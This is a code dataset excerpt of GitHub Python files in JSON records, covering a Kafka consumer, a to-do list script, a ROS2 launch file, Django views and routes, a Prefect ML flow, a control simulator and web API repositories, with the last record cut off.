+{"seq_id":"43709662361","text":"import uuid\nfrom confluent_kafka import Consumer, KafkaError\n\nc = Consumer({\n    'bootstrap.servers': 'kafka:9092',\n    'group.id': str(uuid.uuid4()),\n    'auto.offset.reset': 'earliest'\n})\n\ncategories = ['Temperatura', 'Humedad', 'Presion', 'Viento', 'Radiacion']\nc.subscribe(categories)\n\nwhile True:\n    msg = c.poll(1.0)\n\n    if msg is None:\n        continue\n    if msg.error():\n        print(f\"Consumer error: {msg.error()}\")\n        continue\n\n    print(f\"Received message: {msg.value().decode('utf-8')}\")\n\nc.close()","repo_name":"felipearosr/SDtarea2","sub_path":"kafka/consumer/consumertopic.py","file_name":"consumertopic.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"19145924667","text":"# ---------------------------------------------------------------------------- #\r\n# Title: Assignment 06\r\n# Description: Working with functions in a class,\r\n#              When the program starts, load each \"row\" of data\r\n#              in \"ToDoToDoList.txt\" into a python Dictionary\r\n#              Add the each dictionary \"row\" to a python list \"table\"\r\n# ChangeLog (Who,When,What):\r\n# RRoot,1.1.2030,Created started script\r\n# RRoot,1.1.2030,Added code to complete assignment 5\r\n# KPollock, 11.19.2021, Modified code to complete assignment 6\r\n# ---------------------------------------------------------------------------- #\r\n\r\n# Data ---------------------------------------------------------------------- #\r\n# Declare variables and constants\r\nstrFileName = \"ToDoFile.txt\"  # The name of the data file\r\nobjFile = None  # An object that represents a file\r\nlstTable = []  # A list that acts as a 'table' of rows\r\nstrChoice = \"\"  # Captures the user option selection\r\nstrTask = \"\"  # Captures the user task data\r\nstrPriority = \"\"  # Captures the user priority data\r\nunsaved_changes = False\r\n\r\n# Processing  --------------------------------------------------------------- #\r\nclass Processor:\r\n    \"\"\"  Performs Processing tasks \"\"\"\r\n\r\n    @staticmethod\r\n    def read_data_from_file(file_name):\r\n        \"\"\" Reads data from a file into a list of dictionary rows\r\n        :param file_name: (string) with name of file\r\n        :return: (list) of dictionary rows\r\n        \"\"\"\r\n        list_of_rows = []  # start with empty list\r\n        file = open(file_name, \"r\")\r\n        for line in file:\r\n            task, priority = line.split(\",\")\r\n            Processor.add_data_to_list(task, priority, list_of_rows)\r\n        file.close()\r\n        return list_of_rows\r\n\r\n    @staticmethod\r\n    def add_data_to_list(task, priority, list_of_rows):\r\n        \"\"\" Adds data (task and priority) to list\r\n        :param task: (string) with name of task performed\r\n        :param priority: (string) high, med, low for task\r\n        :param list_of_rows: (list) of dictionary rows with task (key) and priority (value)\r\n        :return: (list) updated list of rows\r\n        \"\"\"\r\n        list_of_rows.append({\"Task\": task.strip(), \"Priority\": priority.strip()})\r\n        return list_of_rows\r\n\r\n    @staticmethod\r\n    def remove_data_from_list(task, list_of_rows):\r\n        \"\"\" Removes data from the list (task and priority)\r\n        :param task: (string) with name of task to be removed\r\n        :param list_of_rows: (list) of dictionary rows with task (key) and priority (value)\r\n        :return: (list) updated list of rows\r\n        \"\"\"\r\n        for row in list_of_rows:\r\n            if row[\"Task\"].lower() == task.lower():\r\n                list_of_rows.remove(row)\r\n        return list_of_rows\r\n\r\n    @staticmethod\r\n    def write_data_to_file(file_name, list_of_rows):\r\n        \"\"\" Writes data from the list to the file using csv\r\n        :param file_name: (string) with name of file\r\n        :param list_of_rows: (list) you filled with file data\r\n        :return: list of rows that was written to file\r\n        \"\"\"\r\n        file = open(file_name, \"w\")\r\n        for row in list_of_rows:\r\n            file.write(row[\"Task\"] + ',' + row[\"Priority\"] + '\\n')\r\n        file.close()\r\n        return list_of_rows\r\n\r\n\r\n# Presentation (Input/Output)  -------------------------------------------- #\r\nclass IO:\r\n    \"\"\" Performs Input and Output tasks \"\"\"\r\n\r\n    @staticmethod\r\n    def print_menu_tasks():\r\n        \"\"\"  Display a menu of choices to the user\r\n\r\n        :return: nothing\r\n        \"\"\"\r\n        print('''\r\n        Menu of Options\r\n        1) Add a new Task\r\n        2) Remove an existing Task\r\n        3) Save Data to File        \r\n        4) Reload Data from File\r\n        5) Exit Program\r\n        ''')\r\n        print()  # Add an extra line for looks\r\n\r\n    @staticmethod\r\n    def input_menu_choice():\r\n        \"\"\" Gets the menu choice from a user\r\n\r\n        :return: string\r\n        \"\"\"\r\n        choice = input(\"Which option would you like to perform? [1 to 5] - \").strip()\r\n        print()  # Add an extra line for looks\r\n        return choice\r\n\r\n    @staticmethod\r\n    def print_current_tasks_in_list(list_of_rows):\r\n        \"\"\" Shows the current Tasks in the list of dictionaries rows\r\n\r\n        :param list_of_rows: (list) of rows you want to display\r\n        :return: nothing\r\n        \"\"\"\r\n        print(\"******* The Current Tasks ToDo are: *******\")\r\n        for row in list_of_rows:\r\n            print(row[\"Task\"] + \" (\" + row[\"Priority\"] + \")\")\r\n        print(\"*******************************************\")\r\n        print()  # Add an extra line for looks\r\n\r\n    @staticmethod\r\n    def input_yes_no_choice(message):\r\n        \"\"\" Gets a yes or no choice from the user\r\n        :param (string) message/question for yes/no answer\r\n        :return: (Bool) 'yes' is True, 'no' is False\r\n        \"\"\"\r\n        while True:\r\n            answer = input(message).strip().lower()\r\n            if answer == 'yes':\r\n                return True\r\n            elif answer == 'no':\r\n                return False\r\n            else:\r\n                print(\"Please enter only 'yes' or 'no'\")\r\n\r\n    @staticmethod\r\n    def input_new_task_and_priority():\r\n        \"\"\" User enters a new task and priority\r\n        :return: (tuple) of strings with task and priority\r\n        \"\"\"\r\n        task = input('What task would you like to add? ').replace(',', '')\r\n        priority = input('What is the priority [high, med, low]? ').replace(',', '')\r\n        print()  # extra line for looks\r\n        return task, priority\r\n\r\n    @staticmethod\r\n    def input_task_to_remove():\r\n        \"\"\" User enters a task to remove\r\n        :return: (string) with task to be removed\r\n        \"\"\"\r\n        task = input(\"What task would you like to remove? \").strip()\r\n        print()\r\n        return task\r\n\r\n\r\n# Main Body of Script  ------------------------------------------------------ #\r\n\r\n# Step 1 - When the program starts, Load data from ToDoFile.txt.\r\ntry:\r\n    lstTable = Processor.read_data_from_file(strFileName)\r\nexcept FileNotFoundError:\r\n    pass\r\n\r\nwhile True:\r\n    # Display a menu of choices to the user\r\n    IO.print_menu_tasks()\r\n    strChoice = IO.input_menu_choice()\r\n    print()  # adding a new line for looks\r\n\r\n    if strChoice == '1':  # Add a new task and priority\r\n        strTask, strPriority = IO.input_new_task_and_priority()\r\n        Processor.add_data_to_list(strTask, strPriority, lstTable)\r\n        unsaved_changes = True\r\n        print('Task added!')\r\n        IO.print_current_tasks_in_list(lstTable)\r\n\r\n    elif strChoice == '2':  # Remove a task\r\n        IO.print_current_tasks_in_list(lstTable)\r\n        strTask = IO.input_task_to_remove()\r\n        Processor.remove_data_from_list(strTask, lstTable)\r\n        unsaved_changes = True\r\n        print('Task removed!')\r\n        IO.print_current_tasks_in_list(lstTable)\r\n\r\n    elif strChoice == '3':  # Save Data to File\r\n        response = IO.input_yes_no_choice('Would you like to save your data to the file [yes or no]? ')\r\n        if response:\r\n            Processor.write_data_to_file(strFileName, lstTable)\r\n            unsaved_changes = False\r\n            print('Data saved!')\r\n            IO.print_current_tasks_in_list(lstTable)\r\n        else:\r\n            print('Data has not been saved.')\r\n\r\n    elif strChoice == '4':  # Reload Data from File\r\n        if not (unsaved_changes and not IO.input_yes_no_choice(\r\n                \"Are you sure you want to reload data from file w/o saving [yes or no]? \")):\r\n            lstTable = Processor.read_data_from_file(strFileName)\r\n            print('Data reloaded')\r\n            IO.print_current_tasks_in_list(lstTable)\r\n        else:\r\n            print(\"File data was not reloaded\")\r\n\r\n    elif strChoice == '5':  # Exit Program\r\n        if unsaved_changes and not IO.input_yes_no_choice(\"Are you sure you want to exit without saving [yes or no]? \"):\r\n            print('Enter option 3 to save data.')\r\n            continue\r\n        print(\"Goodbye!\")\r\n        break\r\n\r\n    else:\r\n        print(strChoice, \"is not an option. Please select [1 to 5].\")\r\n","repo_name":"katepollock/IntroToProg-Python-Mod06","sub_path":"Assignment06_ToDoList.py","file_name":"Assignment06_ToDoList.py","file_ext":"py","file_size_in_byte":8121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"4445615362","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"ROS2 Twist Message to Robot Motion Launch Script.\n\nThis script moves a robot car.\n\nRevision History:\n        2021-08-26 (Animesh Bala Ani): Baseline Software.\n\nExample:\n        $ colcon build --symlink-install && source install/local_setup.bash && ros2 launch ros2_twist_message_to_robot_motion launch.py\n        $ source install/local_setup.bash && ros2 launch ros2_twist_message_to_robot_motion launch.py\n        $ ros2 launch ros2_twist_message_to_robot_motion launch.py\n\n\"\"\"\n\n\n#___Import Modules:\nfrom launch import LaunchDescription\nfrom launch.actions import DeclareLaunchArgument\nfrom launch.substitutions import LaunchConfiguration\nfrom launch_ros.actions import Node\n\n\n#___Function:\ndef generate_launch_description():\n    \n    # Create launch configuration variables\n    robot_type = LaunchConfiguration('robot_type')\n    \n    \n    # Declare the launch arguments\n    declare_robot_type_cmd = DeclareLaunchArgument(\n        'robot_type',\n        default_value='jetbot',\n        description='Type of Robot to drive.')\n    \n    \n    # Specify the actions\n    execute_cmd = Node(\n        package = 'ros2_twist_message_to_robot_motion',\n        node_executable = robot_type,\n        name='twist_to_robot_motion')\n\n        \n    # Create the launch description and populate\n    ld = LaunchDescription()\n    \n    # Declare the launch options\n    ld.add_action(declare_robot_type_cmd)\n    \n    # Add all actions\n    ld.add_action(execute_cmd)\n        \n    return ld\n\n\n#                                                                              \n# end of file\n\"\"\"ANI717\"\"\"\n","repo_name":"Ordina-Group/robotics-workshop","sub_path":"src/ros2_twist_message_to_robot_motion/launch/launch.py","file_name":"launch.py","file_ext":"py","file_size_in_byte":1625,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"}
+{"seq_id":"2898903102","text":"from django.conf.urls import url, include\n\nfrom . import views\n\n\nurlpatterns = [\n    url(r'^comments/create/$', views.CommentsFormView.as_view(),\n        name='comments-create'),\n    url(r'^comments/$', views.CommentsListView.as_view(),\n        name='comments-list'),\n    url(r'^opinions/create/$', views.OpinionCreateView.as_view(),\n        name='opinions-create'),\n]\n","repo_name":"Tomatosoup97/ApplicationSecurity","sub_path":"XSSGoat/storedxss/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"1612367562","text":"import pickle\nfrom datetime import datetime\n\nfrom pathlib import Path\nfrom typing import Optional, Any\n\nimport pandas as pd\nimport requests\nfrom dateutil.relativedelta import relativedelta\nfrom prefect.deployments import DeploymentSpec\nfrom prefect.flow_runners import SubprocessFlowRunner\nfrom prefect.orion.schemas.schedules import CronSchedule\n\nfrom sklearn.feature_extraction import DictVectorizer\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.metrics import mean_squared_error\n\nimport prefect\n\n\n@prefect.task\ndef read_data(path):\n    df = pd.read_parquet(path)\n    return df\n\n\n@prefect.task\ndef prepare_features(df, categorical, train=True):\n    logger = prefect.get_run_logger()\n\n    df['duration'] = df.dropOff_datetime - df.pickup_datetime\n    df['duration'] = df.duration.dt.total_seconds() / 60\n    df = df[(df.duration >= 1) & (df.duration <= 60)].copy()\n\n    mean_duration = df.duration.mean()\n    if train:\n        logger.info(\"The mean duration of training is %f\", mean_duration)\n    else:\n        logger.info(\"The mean duration of validation is %f\", mean_duration)\n\n    df[categorical] = df[categorical].fillna(-1).astype('int').astype('str')\n    return df\n\n\n@prefect.task\ndef train_model(df, categorical):\n    logger = prefect.get_run_logger()\n\n    train_dicts = df[categorical].to_dict(orient='records')\n    dv = DictVectorizer()\n    X_train = dv.fit_transform(train_dicts)\n    y_train = df.duration.values\n\n    logger.info(f\"The shape of X_train is %s\", X_train.shape)\n    logger.info(f\"The DictVectorizer has %d features\", len(dv.feature_names_))\n\n    lr = LinearRegression()\n    lr.fit(X_train, y_train)\n    y_pred = lr.predict(X_train)\n    mse = mean_squared_error(y_train, y_pred, squared=False)\n    logger.info(f\"The MSE of training is: %f\", mse)\n    return lr, dv\n\n\n@prefect.task\ndef run_model(df, categorical, dv, lr):\n    logger = prefect.get_run_logger()\n\n    val_dicts = df[categorical].to_dict(orient='records')\n    X_val = dv.transform(val_dicts)\n    y_pred = lr.predict(X_val)\n    y_val = df.duration.values\n\n    mse = mean_squared_error(y_val, y_pred, squared=False)\n    logger.info(f\"The MSE of validation is: %f\", mse)\n    return\n\n\ndef _string_to_date(date: str) -> datetime.date:\n    return datetime.strptime(date, \"%Y-%m-%d\").date()\n\n\ndef _date_to_string(date: datetime.date) -> str:\n    return date.strftime(\"%Y-%m\")\n\n\ndef _ensure_data_exists(path: Path):\n    if path.exists():\n        return\n\n    response = requests.get(f\"https://nyc-tlc.s3.amazonaws.com/trip+data/{path.stem}.parquet\", verify=False)\n    response.raise_for_status()\n\n    with path.open(\"wb\") as file:\n        file.write(response.content)\n\n\n@prefect.task\ndef get_paths(date: Optional[str] = None, date_folder: Path = Path(\"./data\")):\n    logger = prefect.get_run_logger()\n\n    if date is None:\n        date = datetime.now().date()\n    else:\n        date = _string_to_date(date)\n\n    train_date = date - relativedelta(months=2)\n    val_date = date - relativedelta(months=1)\n\n    train_path = date_folder / f\"fhv_tripdata_{_date_to_string(train_date)}.parquet\"\n    val_path = date_folder / f\"fhv_tripdata_{_date_to_string(val_date)}.parquet\"\n\n    logger.info(\"Train path %s\", train_path)\n    logger.info(\"Val path %s\", val_path)\n\n    _ensure_data_exists(train_path)\n    _ensure_data_exists(val_path)\n\n    return train_path, val_path\n\n\ndef _save_to_bin(obj: Any, path: Path):\n    with path.open('wb') as file:\n        pickle.dump(obj, file)\n\n\n@prefect.flow\ndef main(date: Optional[str] = None):\n    train_path, val_path = get_paths(date).result()\n\n    categorical = ['PUlocationID', 'DOlocationID']\n\n    df_train = read_data(train_path)\n    df_train_processed = prepare_features(df_train, categorical)\n\n    df_val = read_data(val_path)\n    df_val_processed = prepare_features(df_val, categorical, False)\n\n    # train the model\n    lr, dv = train_model(df_train_processed, categorical).result()\n    run_model(df_val_processed, categorical, dv, lr)\n\n    _save_to_bin(lr, Path(\"./artifacts\") / f\"model-{date}.bin\")\n    _save_to_bin(dv, Path(\"./artifacts\") / f\"dv-{date}.bin\")\n\n\nDeploymentSpec(\n    name=\"cron-schedule-deployment\",\n    flow=main,\n    schedule=CronSchedule(\n        cron=\"0 9 15 * *\",\n    ),\n    flow_runner=SubprocessFlowRunner(),\n)\n\n\n# main(date=\"2021-08-15\")\n","repo_name":"LiableFish/mlops-zoomcamp","sub_path":"03-orchestration/homework.py","file_name":"homework.py","file_ext":"py","file_size_in_byte":4293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"25250589323","text":"from abc import ABC, abstractmethod\nimport numpy\n\n\nclass UnstableClosedLoopSystemError(Exception):\n    \"\"\"UnstableClosedLoopSystemError\n\n    This error is raised if the computed K and L do not lead to a stable system (ie A-B@L or A - K@C have poles with positive real values).\n\n    \"\"\"\n\n    pass\n\n\nclass SOFCStepper(ABC):\n    def __init__(\n        self, A, B, H, Q, R, U, K, L, Ac=None, Bc=None, Hc=None, seed=None, **kwargs\n    ):\n        \"\"\"dx = (A @ x + B @ u)dt + Fx dnoise + Yu dnoise + G dnoise\n        dy = H @ x*dt + D @ u*dt\n        dxhat = (A_c @ xhat + B_c @ u)dt + K @ (dy - H_c @ xhat * dt)\n        u = -L @ xhat\n\n        costs: x.T @ Q @ x + u.T @ R @ u + (x-xhat).T @ U @ (x-xhat)\n\n        \"\"\"\n\n        self.x = None\n\n        self.A = A\n        self.B = B\n        self.H = H\n        self.Q = Q\n        self.R = R\n        self.U = U\n        self.K = K\n        self.L = L\n\n        self.Ac = A if Ac is None else Ac\n        self.Bc = B if Bc is None else Bc\n        self.Hc = H if Hc is None else Hc\n\n        self.rng = numpy.random.default_rng(seed=seed)\n\n    def reset(self, timestep, simulation_time, x_init=None, n_trials=20):\n        # initializes\n        self.timestep = timestep\n        self.simulation_time = simulation_time\n        self.n_trials = n_trials\n        TF = simulation_time  # alias\n\n        time = [-timestep] + numpy.arange(0, TF, timestep).tolist()\n        self.time = time\n\n        # Mov.shape = (#timesteps, #trials, state, x or xhat)\n        Mov = numpy.zeros((len(time), n_trials, self.A.shape[0], 2))\n        if x_init is None:\n            x_init = numpy.zeros((self.A.shape[0],))\n            x_init[0] = self.rng.random()\n        Mov[0, :, :, 0] = x_init  # initialize x\n        Mov[0, :, :, 1] = x_init  # initialize xhat\n        self.Mov = Mov\n        self.u = numpy.zeros((len(time) - 1, n_trials, self.B.shape[1]))\n        self.cost = numpy.zeros((n_trials,))\n\n    @abstractmethod\n    def step(self, x, xhat, noise=True):\n        pass\n\n    def simulate(self, noise=True):\n        for nt in range(self.n_trials):\n            for i, t in enumerate(self.time[1:]):\n                x, xhat = self.Mov[i, nt, :, 0].reshape(-1, 1), self.Mov[\n                    i, nt, :, 1\n                ].reshape(-1, 1)\n                step_result = self.step(x, xhat, noise=noise)\n                dx, d_hat_x, u = (\n                    step_result[\"dx\"],\n                    step_result[\"dxhat\"],\n                    step_result[\"u\"],\n                )\n                self.Mov[i + 1, nt, :, 0] = (x + dx).reshape(1, -1)\n                self.Mov[i + 1, nt, :, 1] = (xhat + d_hat_x).reshape(1, -1)\n                self.u[i, nt, :] = u.squeeze()\n                self.cost[nt] += step_result[\"cost\"]\n\n        return self.Mov, self.u, self.cost\n","repo_name":"jgori-ouistiti/pointing_utils","sub_path":"pointing_utils/optimal_control/SOFCstepper.py","file_name":"SOFCstepper.py","file_ext":"py","file_size_in_byte":2769,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"29706953440","text":"from django.http import JsonResponse\nfrom django.shortcuts import render\n\n\ndef chart_list(request):\n    return render(request, 'chart_list.html')\n\n\ndef chart_bar(request):\n    legend = []\n    x_axis = []\n    series_list = []\n    result = {\n        'status': True,\n        \"data\": {\n            'legend': legend,\n            \"series_list\": series_list,\n            \"x_axis\": x_axis\n        }\n    }\n    return JsonResponse(result)\n\n\ndef chart_pie(request):\n    db_data_list = [{'value': 1048, 'name': 'IT部门'},\n                    {'value': 735, 'name': '运营部门'},\n                    {'value': 580, 'name': '新媒体部门'},\n                    {'value': 484, 'name': '广告部门'}, ]\n    result = {\n        'status': True,\n        \"data\": db_data_list\n    }\n    return JsonResponse(result)\n\n\ndef chart_line(request):\n    x_axis = {\"data\": ['Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun']}\n\n    series_list = {\"data\": [150, 230, 224, 218, 135, 147, 260]}\n    result = {\n        'status': True,\n        \"series_list\": series_list,\n        \"x_axis\": x_axis\n    }\n    return JsonResponse(result)\n","repo_name":"benben555/djangoProject","sub_path":"exp1/webapp/views/chart.py","file_name":"chart.py","file_ext":"py","file_size_in_byte":1106,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"38703849430","text":"from typing import Optional\n\nfrom asyncpg import Connection\nfrom asyncpg import Record\n\nfrom app.core.config import get_app_settings\nfrom app.db.errors import EntityDoesNotExist\nfrom app.db.queries.queries import queries\nfrom app.db.repositories.base import BaseRepository\nfrom app.db.repositories.comments import CommentsRepository\nfrom app.db.repositories.users import UsersRepository\nfrom app.models.domain.posts import Post\nfrom app.models.domain.posts import PostWithComments\nfrom app.models.domain.posts import PostWithWalletAddress\nfrom app.models.schemas.posts import PostListResponse\n\nSETTINGS = get_app_settings()\n\n\nclass PostsRepository(BaseRepository):\n    def __init__(self, conn: Connection) -> None:\n        super().__init__(conn)\n        self._users_repo = UsersRepository(conn)\n        self._comments_repo = CommentsRepository(conn)\n\n    async def get_post_by_id(self, *, id: int) -> PostWithWalletAddress:\n        post_row = await queries.get_post_by_id(self.connection, id=id)\n\n        if post_row:\n            return await self._get_post_from_db_record(post_row=post_row)\n\n        raise EntityDoesNotExist(f\"post with id {id} does not exist\")\n\n    async def get_post_list(\n        self,\n        *,\n        limit: int = 100,\n        comments_limit: int = 3,\n        offset: int = 0,\n        store_id: Optional[int] = None,\n        user_id: Optional[int] = None,\n        is_public: Optional[bool] = None,\n    ) -> PostListResponse:\n        if store_id is not None:\n            post_rows = await queries.get_posts_by_store_id(\n                self.connection, limit=limit, offset=offset, store_id=store_id\n            )\n        elif is_public:\n            post_rows = await queries.get_latest_posts(\n                self.connection, limit=limit, offset=offset\n            )\n        else:\n            post_rows = await queries.get_posts_by_user_id(\n                self.connection, limit=limit, offset=offset, user_id=user_id\n            )\n\n        total = (\n            await self._get_post_list_total_from_db_record(post_row=post_rows[0])\n            if post_rows\n            else 0\n        )\n\n        post_list = [\n            await self._get_post_from_db_for_list_record(\n                post_row=post_row, comments_limit=comments_limit\n            )\n            for post_row in post_rows\n        ]\n\n        return PostListResponse(posts=post_list, total=total)\n\n    async def _get_post_from_db_record(self, *, post_row: Record) -> Post:\n        user_id = post_row[\"user_id\"]\n        user_info = (\n            await self._users_repo.get_user_by_id(id=user_id)\n            if user_id is not None\n            else None\n        )\n\n        return Post(\n            id_=post_row[\"id\"],\n            store_id=post_row[\"store_id\"],\n            user_id=user_id,\n            user_wallet_address=user_info.wallet_address\n            if user_info and user_info.wallet_address is not None\n            else \"訪客\",\n            user_image=user_info.image if user_info else None,\n            body=post_row[\"body\"],\n            image_url=post_row[\"image_url\"],\n            rating=post_row[\"rating\"],\n            status=post_row[\"status\"],\n            created_at=post_row[\"created_at\"],\n            updated_at=post_row[\"updated_at\"],\n        )\n\n    async def _get_post_from_db_for_list_record(\n        self, *, post_row: Record, comments_limit: int\n    ) -> PostWithComments:\n        user_id = post_row[\"user_id\"]\n        post_id = post_row[\"id\"]\n\n        user_info = await self._users_repo.get_user_by_id(id=user_id)\n\n        comments = await self._comments_repo.get_comment_list(\n            post_id=post_id, limit=comments_limit\n        )\n\n        return PostWithComments(\n            id_=post_id,\n            store_id=post_row[\"store_id\"],\n            user_id=user_id,\n            user_wallet_address=user_info.wallet_address\n            if user_info and user_info.wallet_address is not None\n            else \"訪客\",\n            user_image=user_info.image if user_info else None,\n            body=post_row[\"body\"],\n            image_url=post_row[\"image_url\"],\n            rating=post_row[\"rating\"],\n            comments=comments.comments,\n            status=post_row[\"status\"],\n            created_at=post_row[\"created_at\"],\n            updated_at=post_row[\"updated_at\"],\n        )\n\n    async def _get_post_list_total_from_db_record(self, *, post_row: Record) -> int:\n        return post_row[\"total\"]\n\n    async def create_new_post(\n        self,\n        *,\n        store_id: int,\n        user_id: int,\n        body: Optional[str] = None,\n        image_url: Optional[str] = None,\n        rating: Optional[float] = None,\n        status: int = 1,\n    ) -> Post:\n        new_post = Post(\n            store_id=store_id,\n            user_id=user_id,\n            body=body,\n            image_url=image_url,\n            rating=rating,\n            status=status,\n        )\n\n        async with self.connection.transaction():\n            post_row = await queries.create_post(\n                self.connection,\n                store_id=store_id,\n                user_id=user_id,\n                body=body,\n                image_url=image_url,\n                rating=rating,\n                status=status,\n            )\n\n        return new_post.copy(update=dict(post_row))\n\n    async def update_post(\n        self,\n        *,\n        post_in_db: PostWithWalletAddress,\n        body: Optional[str] = None,\n        image_url: Optional[str] = None,\n        rating: Optional[float] = None,\n        status: Optional[int] = None,\n    ) -> PostWithWalletAddress:\n        post_in_db.body = body or post_in_db.body\n        post_in_db.image_url = image_url or post_in_db.image_url\n        post_in_db.rating = rating if rating is not None else post_in_db.rating\n        post_in_db.status = status if status is not None else post_in_db.status\n\n        async with self.connection.transaction():\n            post_in_db.updated_at = await queries.update_post_by_id(\n                self.connection,\n                id=post_in_db.id_,\n                new_body=post_in_db.body,\n                new_image_url=post_in_db.image_url,\n                new_rating=post_in_db.rating,\n                new_status=post_in_db.status,\n            )\n\n        return post_in_db\n","repo_name":"world-of-ramen/ramen-backend","sub_path":"app/db/repositories/posts.py","file_name":"posts.py","file_ext":"py","file_size_in_byte":6243,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"31911779657","text":"#view functions takes a Web request and returns a Web response\n#houses most of the algorithm / logic\n\nfrom django.shortcuts import render\nfrom django.core import serializers\nfrom django.http import JsonResponse\n\nfrom .models import approvals\nfrom .serializers import ApprovalsSerializer\nfrom .forms import ApprovalForm\n\nfrom rest_framework import viewsets\nfrom rest_framework import status\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nfrom rest_framework.parsers import JSONParser\n\nfrom sklearn import preprocessing\nfrom sklearn.externals import joblib\n\nimport numpy as np \nimport pandas as pd \nimport pickle \nimport json\nimport tensorflow.keras\n\n# from .loan_model import calculate\n\nclass ApprovalsView(viewsets.ModelViewSet):\n\tqueryset = approvals.objects.all()\n\tserializer_class = ApprovalsSerializer\n\ndef approvereject(unit):\n\ttry:\n\t\tmdl = joblib.load('C:/Users/Hudson Yuen/OneDrive/edits/loan_approval/loan_model.pkl')\n\t\tscalers = joblib.load('C:/Users/Hudson Yuen/OneDrive/edits/loan_approval/scaler.pkl')\n\n\t\t# data = request.data\n\t\t# unit = np.array(list(data.values))\n\t\t# unit = unit.reshape(-1, 1)\n\n\t\tX = scalers.transform(unit)\n\t\ty_pred = mdl.predict(X)\n\t\ty_pred = (y_pred > 0.55)\n\n\t\tdf = pd.DataFrame(y_pred, columns = ['Status'])\n\t\tdf = df.replace({True: 'Approved', False: 'Rejected'})\n\t\treturn JsonResponse('Your loan status is: {}'.format(df), safe = False)\n\t\n\texcept ValueError as e:\n\t\treturn Response(e.args[0], status.HTTP_400_BAD_REQUEST)\n\ndef ohevalue(df):\n\tohe_col = joblib.load('C:/Users/Hudson Yuen/OneDrive/edits/loan_approval/ohe_col.pkl')\n\tcat_columns = ['Gender', 'Married', 'Graduated', 'Self_Employed', 'Property_Area']\n\tdf_processed = pd.get_dummies(df, columns = cat_columns)\n\n\tnew_dict = {}\n\tfor i in ohe_col:\n\t\tif i in df_processed.columns:\n\t\t\tnew_dict[i] = df_processed[i].values\n\t\telse:\n\t\t\tnew_dict[i] = 0\n\n\tnew_df = pd.DataFrame(new_dict)\n\treturn new_df\n\ndef userform(request):\n\tif request.method == 'POST':\n\t\tform = ApprovalForm(request.POST)\n\t\tif form.is_valid():\n\t\t\tfirst_name = form.cleaned_data['first_name']\n\t\t\tlast_name = form.cleaned_data['last_name']\n\t\t\tDependents = form.cleaned_data['Dependents']\n\t\t\tApplicantIncome = form.cleaned_data['ApplicantIncome']\n\t\t\tCoapplicantIncome = form.cleaned_data['CoapplicantIncome']\n\t\t\tLoanAmount = form.cleaned_data['LoanAmount']\n\t\t\tLoan_Amount_Term = form.cleaned_data['Loan_Amount_Term']\n\t\t\tCredit_History = form.cleaned_data['Credit_History']\n\t\t\tGender = form.cleaned_data['Gender']\n\t\t\tMarried = form.cleaned_data['Married']\n\t\t\tGraduated = form.cleaned_data['Graduated']\n\t\t\tSelf_Employed = form.cleaned_data['Self_Employed']\n\t\t\tProperty_Area = form.cleaned_data['Property_Area']\n\n\t\t\tDict = (request.POST).dict()\n\t\t\tdf = pd.DataFrame(Dict, index = [0])\n\t\t\tprint(approvereject(ohevalue(df)))\n\telse: \n\t\tform = ApprovalForm()\n\n\treturn render(request, 'apiform/userform.html', {'form': form})","repo_name":"hudyu17/loan_approval","sub_path":"ApprovalAPI/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2919,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"6170179916","text":"from re import I\nfrom flask import Response, request\nfrom flask_jwt_extended.utils import get_jwt_identity\nfrom flask_jwt_extended.view_decorators import jwt_required\nfrom mongoengine.errors import DoesNotExist\nfrom database.models import Product, User\nfrom flask_restful import Resource\nfrom utils.utils import *\nfrom urllib.parse import unquote\nfrom bson import json_util\nimport json\n\nclass CartApi(Resource):\n    @jwt_required()\n    def post(self):\n        body = request.get_json()\n        user_id = get_jwt_identity()\n        product_id = body.get('product_id')\n        quantity = body.get('quantity')\n        if quantity == 0:\n            try:\n                user = User.objects.get(id=user_id, cart__product_id=product_id)\n            except DoesNotExist:\n                return {'error': 'Trying to delete an item that is not in the cart'}, 404\n            else:\n                for i in range(len(user.cart)):\n                    item = user.cart[i]\n                    if item['product_id'] == product_id:\n                        index = i\n                        break\n                user.cart.pop(index)\n                user.save()\n                return {'msg': 'Success'}, 200\n        else:\n            try:\n                user = User.objects.get(id=user_id, cart__product_id=product_id)\n            except DoesNotExist:\n                user = User.objects.get(id=user_id)\n                new_dict = {\"product_id\": product_id, \"quantity\": quantity}\n                if user.cart:\n                    user.cart.append(new_dict)\n                else:\n                    user.cart = [new_dict]\n            else:\n                for item in user.cart:\n                    if(item['product_id'] == product_id):\n                        item['quantity'] = quantity\n            user.save()\n            return {'msg': 'Success'}, 200\n    \n    @jwt_required()\n    def get(self):\n        user_id = get_jwt_identity()\n        user = User.objects.get(id=user_id)\n        cart_items_with_quantity = []\n        invalid_item_index = []\n        cnt = 0\n        if user.cart:\n            for item in user.cart:\n                try:\n                    cart_item = json.loads(Product.objects.get(id=item['product_id']).to_json())\n                except DoesNotExist:\n                    invalid_item_index.append(cnt)\n                else:    \n                    cart_items_with_quantity.append({'product_summary': extract_basic_info(cart_item), 'quantity': item['quantity']})\n                cnt+=1\n            if invalid_item_index:\n                for x in reversed(invalid_item_index):\n                    user.cart.pop(x)\n                user.save()\n        return Response(json.dumps(cart_items_with_quantity), mimetype=\"application/json\", 